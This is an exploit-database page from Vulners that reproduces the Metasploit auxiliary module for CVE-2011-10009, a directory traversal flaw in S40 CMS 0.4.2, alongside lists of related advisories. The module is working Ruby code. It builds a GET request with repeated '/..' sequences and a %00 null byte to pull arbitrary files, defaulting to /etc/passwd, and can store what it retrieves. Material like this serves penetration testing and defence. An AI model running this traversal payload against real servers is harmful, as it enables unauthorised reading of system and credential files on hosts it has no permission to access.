Lucene search
+L

S40 0.4.2 CMS Directory Traversal Vulnerability

🗓️ 07 Apr 2011 00:00:00Reported by Osirys <[email protected]>, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

S40 0.4.2 CMS Directory Traversal Vulnerability. Exploits directory traversal flaw allowing arbitrary file path loa

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2011-10009
29 May 201815:50
circl
cnnvd
CNNVD
S40 CMS 安全漏洞
13 Aug 202500:00
cnnvd
cve
CVE
CVE-2011-10009
13 Aug 202520:52
cve
cvelist
Cvelist
CVE-2011-10009 S40 CMS 0.4.2 Path Traversal
13 Aug 202520:52
cvelist
euvd
EUVD
EUVD-2011-5242
7 Oct 202500:30
euvd
nvd
NVD
CVE-2011-10009
13 Aug 202521:15
nvd
openvas
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Application URL Parameter) - Active Check
26 Sep 201700:00
openvas
ptsecurity
Positive Technologies
PT-2025-33078 · S40 Cms · S40 Cms
13 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2011-10009
15 Aug 202521:29
redhatcve
vulnrichment
Vulnrichment
CVE-2011-10009 S40 CMS 0.4.2 Path Traversal
13 Aug 202520:52
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'S40 0.4.2 CMS Directory Traversal Vulnerability',
        'Description' => %q{
          This module exploits a directory traversal vulnerability found in S40 CMS.
          The flaw is due to the 'page' function not properly handling the $pid parameter,
          which allows a malicious user to load an arbitrary file path.
        },
        'References' => [
          [ 'CVE', '2011-10009' ],
          [ 'OSVDB', '82469'],
          [ 'EDB', '17129' ]
        ],
        'Author' => [
          'Osirys <osirys[at]autistici.org>', # Discovery, PoC
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2011-04-07',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new("TARGETURI", [true, 'The base path to S40', '/s40/']),
        OptString.new("FILE", [true, 'The file to retrieve', '/etc/passwd']),
        OptBool.new('SAVE', [false, 'Save the HTTP body', false]),
        OptInt.new("DEPTH", [true, 'Traversal depth', 10])
      ]
    )
  end

  def run_host(ip)
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'

    t = "/.." * datastore['DEPTH']

    vprint_status("Retrieving #{datastore['FILE']}")

    # No permission to access.log or proc/self/environ, so this is all we do :-/
    uri = normalize_uri(uri, 'index.php')
    res = send_request_raw({
      'method' => 'GET',
      'uri' => "#{uri}/?p=#{t}#{datastore['FILE']}%00"
    })

    if not res
      vprint_error("Server timed out")
    elsif res and res.body =~ /Error 404 requested page cannot be found/
      vprint_error("Either the file doesn't exist, or you don't have the permission to get it")
    else
      # We don't save the body by default, because there's also other junk in it.
      # But we still have a SAVE option just in case
      print_good("#{datastore['FILE']} retrieved")
      vprint_line(res.body)

      if datastore['SAVE']
        p = store_loot(
          's40.file',
          'application/octet-stream',
          rhost,
          res.body,
          ::File.basename(datastore['FILE'])
        )
        print_good("File saved as: #{p}")
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Apr 2011 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 48.7
EPSS0.01286
SSVC
29